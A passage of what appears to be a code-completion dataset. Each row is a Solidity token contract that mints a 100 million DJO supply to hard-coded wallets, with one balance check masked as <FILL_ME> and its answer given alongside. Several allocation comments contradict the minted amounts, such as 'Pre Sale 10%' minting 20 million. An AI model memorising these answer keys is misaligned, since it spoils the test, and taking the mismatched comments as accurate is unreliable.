+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]+_balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]+_balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a]==2_000_000ether | 62,345 | _balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]+_balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]+_balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a]==2_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(<FILL_ME>)
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]+_balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]+_balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]+_balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]+_balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]+_balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]+_balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]+_balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]+_balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5]==6_000_000ether | 62,345 | _balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]+_balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]+_balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]+_balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]+_balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]+_balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]+_balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]+_balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]+_balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5]==6_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
